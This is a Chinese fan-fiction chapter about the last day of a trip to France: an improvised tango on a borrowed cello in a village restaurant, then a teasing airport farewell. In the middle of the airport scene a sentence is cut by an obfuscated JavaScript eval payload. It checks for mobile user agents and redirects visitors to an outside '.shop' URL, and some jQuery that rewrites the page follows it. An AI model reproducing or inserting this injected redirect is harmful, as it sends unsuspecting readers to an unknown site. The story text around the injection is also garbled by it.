离开法国前的最后一天,他们没有安排特别远的路线。
连续几天在山里、小镇和不同公交线上来回以后,三个人都默认最后一天应该轻松一点。他们上午去了附近一个小镇,下午在河边走了一段,回住处以前又绕进一家很小的旧书店。岑韵在里面翻了很久,最后什么也没买,幸村却买了一本法语画册。
真田看了一眼封面:“全看得懂?”
“图比较多。”
岑韵在旁边笑:“原来幸村也会买不完全看得懂的书。”
幸村把画册收进包里:“至少比你买那幅画合理。”
真田听见以后抬头。
岑韵立刻抗议:“那幅画很好。”
“你自己都承认画得一般。”
“但是地点对。”
“所以还是一般。”
岑韵转头找真田:“弦一郎。”
真田这次没有立刻站队。他回忆了一下:“画确实一般。”
幸村笑了。岑韵看着他们两个,最后决定以后不带他们看任何艺术品。
=====
傍晚,他们在镇子另一头找到一家开了很多年的老餐馆。
餐馆离住处不远,开在一条坡度很缓的旧街上。门面并不起眼,深色木门上方挂着一块已经有些褪色的招牌。推门进去以后,里面却比想象中深很多。墙是颜色偏暖的旧石头,木梁压得很低,靠近吧台的一侧挂着几张年代不同的黑白照片。最里面有一座很小的壁炉,火不大,却把整间屋子烘得很暖。
天已经黑了。
窗外的街道只剩下几盏路灯,玻璃上映着室内黄色的灯光。餐馆里没有坐满,几桌客人说话的声音混在一起,偶尔有人笑得很响。吧台后面的老板和熟客聊天时语速很快,幸村听了一会儿,已经决定今天不承担全部翻译职责。
三个人坐在靠墙的位置。
这几天他们已经吃过很多当地菜,最后一晚反而谁都没有特别研究菜单。幸村负责问了几道菜的做法,岑韵在旁边提意见,真田最后确认份量不会点得太多。
等菜的时候,岑韵的视线落到吧台另一边。
墙边靠着一把小提琴。
不是放在琴盒里,而是很随意地立在一把椅子旁边。琴看起来有些年头,木色很深,旁边还放着一张折起来的谱架。
岑韵看了好几次。
幸村很快发现:“你想干什么?”
“没什么。”
真田也看过去。
岑韵被两个人同时盯着,只能承认:“我就是想看看。”
幸村眼里已经有一丝了然:“只是看看?”
“对。”
这句话的可信度不高。
老板过来送饮料时,注意到岑韵一直在看那把琴,顺口问她是不是会拉。幸村帮忙听完,岑韵想了一下,很诚实地说:“会一点。”
幸村转头:“你还会小提琴?”
“不会。”
“你刚才说会一点。”
“会一点和会不是一回事。”
幸村已经逐渐习惯她这种分类标准:“那你到底会到什么程度?”
岑韵解释:“有时候会玩Leo的小提琴。没有专门学过,拉得不好。”
老板没说什么,直接把琴拿过来递给她。岑韵接过来的时候有些意外。她先看了眼真田和幸村,又低头检查了一下琴弦和弓毛,最后还是站起来。
“我真的拉得不好。”
幸村说:“你可以先证明一下。”
岑韵瞪他一眼。她试了几个空弦,又把左手落下去。第一个音出来,她自己先皱了眉。
手指距离完全不对。
大提琴留下来的肌肉记忆让她下意识把两个手指分得太开。她重新找了一次位置,才慢慢拉出几句法国童谣雅克弟兄。老板先笑起来,旁边几桌听出来的人也跟着露出笑意。旋律很简单,音也基本是准的,只是换弦和运弓怎么看都不像真正的小提琴手。
拉到第四句,她自己先停了。她笑着摇头:“不行。”
幸村问:“哪里不行?”
“手太近了。”
幸村没理解:“什么?”
“音之间离得太近。”岑韵低头看自己的左手,“我一直想按大提琴的位置。”
老板却听得出来,她显然有弦乐基础。他问了几句,幸村帮忙翻译以后才知道,对方是在问她本来拉什么。
“Cello。”
老板一下有了反应。他往餐馆里面指了一下,说后面正好放着一把大提琴。他儿子是当地乐手,过几天要参加附近一个小型音乐活动,先把琴暂时寄放在这里,她可以玩一下。
听完幸村翻译,岑韵愣住:“这里有大提琴?”
幸村看她:“你今天可能真的只是想看看。”
岑韵自己都笑了:“我也没想到。”
老板真的从后面拿出了一把大提琴。琴明显不是餐馆自己的装饰品,状态很好。岑韵接过来以后整个人都自然了很多。她坐下来调了两下音,左手一落到指板上,幸村和真田都能看出区别。
老板拿起自己的小提琴,问她会不会La Cumparsita。岑韵听见曲名以后立刻点头。这首探戈她当然知道,而且旋律很熟。没有谱也没关系。
岑韵还想问老板准备怎么来,对方却已经把小提琴架到肩上,没有给她准备的时间。
第一句旋律直接响了起来。
餐馆里原本混在一起的谈话声渐渐低下去。La Cumparsita的旋律太有名了,哪怕没有人专门宣布曲目,周围的人也很快听了出来。老板的演奏并不规整,速度和句尾都带着很明显的个人习惯,和正式舞台风格区别很大。
岑韵听了两个句子,很快低头跟进去。
最开始,她只让大提琴稳稳托在下面,把节奏和低音撑住,偶尔接过一小段旋律。老板却显然没打算一直照原来的句子走。第二段刚开始不久,他突然在句尾多绕了一下。
岑韵被带得慢了半拍,抬头看过去。老板正笑着看她。
她自己也笑了,手上的声音却马上重新接回来。等到下一句,她没有照原来的位置进去,故意稍微晚了一点,又把句尾拖长。
真田和幸村都听出来了。
她在回他。
老板显然也听懂了。后面的旋律一下变得更松。他多加一个装饰,岑韵就在下一拍用大提琴接过去;他把某一句往前推,她第一次被带得差点晚进,笑着追回来以后,下一次到了同样的位置,反而提前一步改变了方向。
并不是什么复杂的即兴。只是一首熟悉的曲子,在两个人手里一点点偏离原来的样子。
岑韵越拉越开心。
有人开始跟着拍桌面。吧台边一个头发已经全白的男人不知道从哪里拿了两把木勺,随着节奏敲起来。周围原本只是听着的人也渐渐笑起来,餐馆里的声音没有因为音乐变得安静,反而像被那段旋律重新连在了一起。
靠窗的一对老夫妻忽然站了起来。他们没有走到餐馆中间的空地,只在桌边牵起手。第一步还有一点慢,之后就自然多了。男人带着她往旁边转,女人甚至不需要低头看脚,像是这个动作很多年前已经做过无数次。
岑韵看到以后,笑得更开心了。结果下一拍的弓擦过去了一点。那个音有点难听。她自己立刻听出来,老板当然也听出来了。两个人隔着几米对上视线,同时笑起来。
没有人停。
那一拍甚至很快就被周围的掌声和木勺声盖过去。
幸村坐在桌边看得很开心。过了一会儿,他才发现旁边一直没有声音。他侧头看了一眼。真田根本没有注意他。他的视线从刚才开始就一直落在岑韵身上。
幸村顺着他的视线重新看过去。
岑韵抱着大提琴坐在暖黄色的灯下。头发原本只是随意束在脑后,刚才随着音乐不断抬头、侧身,低马尾已经有些松了,几缕咖啡色的头发垂下来贴在脸边。袖口也因为吃饭时嫌碍事卷到手臂上。
她和平时正式演出时状态完全不一样。没有礼服,没有舞台,音乐也自由地要命。老板突然改一句,她就笑着追过去;追上以后,又想办法在后面还他一句。
老板最后把速度慢下来。小提琴的声音一点点收住,岑韵也跟着把最后一句放轻。大提琴最后一个音留在餐馆里,又慢慢消失。
周围很快响起掌声。
靠窗的老夫妻笑着松开手,重新坐回自己的位置。
岑韵放下琴弓的时候还在笑。她帮老板把琴收回去,又回到桌边。因为刚才一直在笑,她坐下以后还轻轻呼了一口气。
幸村先开口:“比小提琴好多了。”
岑韵立刻看他:“废话。”
“所以你刚才那个‘会一点’确实很准确。”
“我小提琴是真的不会。”
她说完转头看真田:“你呢?”
真田像是这时才意识到她已经回来了:“什么?”
“你觉得怎么样?”
“拉的很好。”
她明显不满意这个过于笼统的回答:“哪里好?”
真田被问住了。幸村看着他,终于决定提供一点帮助:“他刚才一直在看你。”
真田立刻转头:“幸村。”
岑韵眼睛已经亮起来:“真的?”
“不要听他乱说。”
“我没有乱说。”幸村非常坦然,“你自己知道你在看哪。”
真田的表情开始不好。岑韵看着他,忍了一秒,还是笑起来。真田显然不准备继续这个话题。
但幸村心情非常好。
法国旅行到最后一天,他已经完全不觉得偶尔把真田弄得说不出话是什么需要克制的事情。
=====
旅行刚开始的时候,幸村其实并不太想看这两个人的互动。两个人明明什么都没做,但是微妙的气氛让他站在旁边却总觉得自己好像看见了什么不该看的东西。最开始他还会把视线移开,后来逐渐发现根本没有必要。
反正这两个人自己都不避人。
到了旅行最后,幸村已经完全没有了替他们不好意思的兴趣。
于是第二天下午,三个人到了机场,当幸村再次发现自己站在了一个似乎不太应该继续看的位置时,他已经比几天前从容多了。
他们的航班时间差得不远。岑韵回伦敦,真田和幸村则稍后一起飞回日本。因为都要离开申根区,过了安检和边境检查以后,他们仍然有一段时间可以一起待着。
旅行真正结束以后,三个人反而没有什么特别隆重的感觉。他们一起走到岑韵那边登机口附近。她的航班更早。
广播偶尔响起。
外面的天慢慢暗下来。巨大的玻璃幕墙外停着几架飞机,跑道边的灯一盏一盏亮起。机场室内却始终很亮,灯光照在玻璃上,能看到很清楚的倒影。
最开始时间还很宽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17908417|209411||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
裕。三个人站在玻璃幕墙旁边,岑韵把昨天餐馆老板最后送给她的一块糖果翻出来吃掉。幸村看了一眼时间:“你是不是该走了?”
“还早。”
“已经开始登机了。”
真田没有催。岑韵继续站在原地。
又过了几分钟,广播开始提醒登机。
幸村看她:“现在呢?”
“还有一点。”
“你准备等到什么时候?”
岑韵理直气壮:“Last call。”
幸村转头看真田。真田显然早就知道她会这样。于是三个人真的待到了广播开始重复最后登机提示。
岑韵终于站起来:“好吧。”
她背好包,又检查了一遍护照和登机牌。本来只是非常普通的分别。岑韵先抱了幸村一下:“Junior Finals加油。”
幸村一滞,但也很快回抱了她一下:“你也是。回去好好学数学。”
岑韵马上皱眉:“你好像老师。”
幸村笑了笑,没再说什么。
然后岑韵转向真田。两个人对视了一会儿。这一周一直在一起的时候反而没觉得什么。现在真的要分开,下一次什么时候见还没有确定。
幸村站在旁边,忽然觉得自己现在的位置多少有一点多余。
岑韵显然也终于意识到了这一点。她转头看他:“幸村。”
“嗯?”
“你转过去。”
幸村一下明白了。他非常配合地点头:“好。”然后真的转过身。
岑韵立刻满意了。她回头看真田,伸手抓住他外套前面,很自然地把人往下拉了一点。真田完全没有准备。反应过来时,她已经亲了上来。他呆住几秒,之后才抬手扶住她。
岑韵本来只是想在分别以前亲一下,结果刚准备松开时,旁边忽然传来一声很轻的笑。
她站在原地,转头。
幸村确实背对着他们,一点没有回头,站得甚至非常端正。
问题是,他面对的是机场巨大的落地玻璃。夜晚外面已经黑了,室内又亮得过分。玻璃上的倒影清清楚楚。
岑韵直接从玻璃里和幸村对上了视线。两个人隔着倒影安静了一秒。
幸村的表情非常无辜:“你让我转过去的。”
岑韵已经脸红了,但她还试图说些什么,而真田已经彻底不想说话,只是悄悄把扶在女朋友肩上的手收回来,然后有些别扭地把视线转向另外一边。
“你明明看见了。”岑韵表情复杂,她有点被幸村气笑了。
“我没有回头。”
“但是你在看玻璃!”
“你只让我转过去。”幸村说得非常有道理。
岑韵气得笑出来:“幸村精市!”
“怎么了?”
“你就是故意的。”
幸村强忍笑意:“我真的没有回头。”他慢慢把身子转回来。“你没有说让我转到哪边。”
真田站在旁边,表情依然有些不自然。他现在最希望发生的事情,大概是岑韵赶紧登机,或者幸村赶紧消失。可惜两件事都没有发生。
机场广播这时候又响起来,岑韵的航班开始最后登机。
她回头看了一眼入口,又看幸村,最后像是做了什么重大决定。
“算了。”
幸村还没反应过来:“什么?”
岑韵重新转回真田面前:“你看吧。”
然后她又一次抓住真田,直接亲了上去。这一次比刚才干脆得多。真田完全没有料到她真的会再来一次,手都已经抬起来了,却在半空停下了,像是一时不知道现在到底应该扶她,还是应该先处理旁边那个已经笑出声的幸村。
幸村这次没有转过去。他先愣了一下,然后表情可以用愉悦来形容。
岑韵很快松开:“现在不用偷看了。”
幸村笑得肩膀都开始动:“谢谢。”
真田终于开口:“幸村。”
“我什么都没做。”
“那就什么都别做。”
岑韵已经顾不上他们两个了。广播又开始催,她赶紧把包重新背好,往登机口跑了几步。
跑出去一段,她又回头:“比赛加油!你们两个都是!”
真田看着她:“知道了。”
幸村也朝她挥了一下手:“别错过飞机。”
“你闭嘴!”岑韵转身继续跑。地勤已经在等她。她把登机牌递过去,过了闸口以后又回头看了一眼,最后才真的消失在里面。
周围重新只剩下机场的广播和人群声。
真田还站在原地。幸村站在旁边,也没有马上说话。
安静了大概两秒。
幸村转头看他。真田脸上的表情已经恢复得差不多了,但仍然有一丝僵硬。
“真田,走吧。”
真田没动:“幸村。”
“嗯?”
“不要笑。”
幸村似笑非笑:“我没有。”
真田盯着他。幸村最后还是没忍住,饶有兴味看了他一会。
两个人一起往自己的登机口走。走出去很远以后,幸村还是没憋住:“第二次是她自己说让我看的。”
真田脚步停了一下,“幸村。”
“我只是陈述事实。”
真田加快速度往前走。
幸村在后面笑得完全停不下来。
法国的空气确实不错。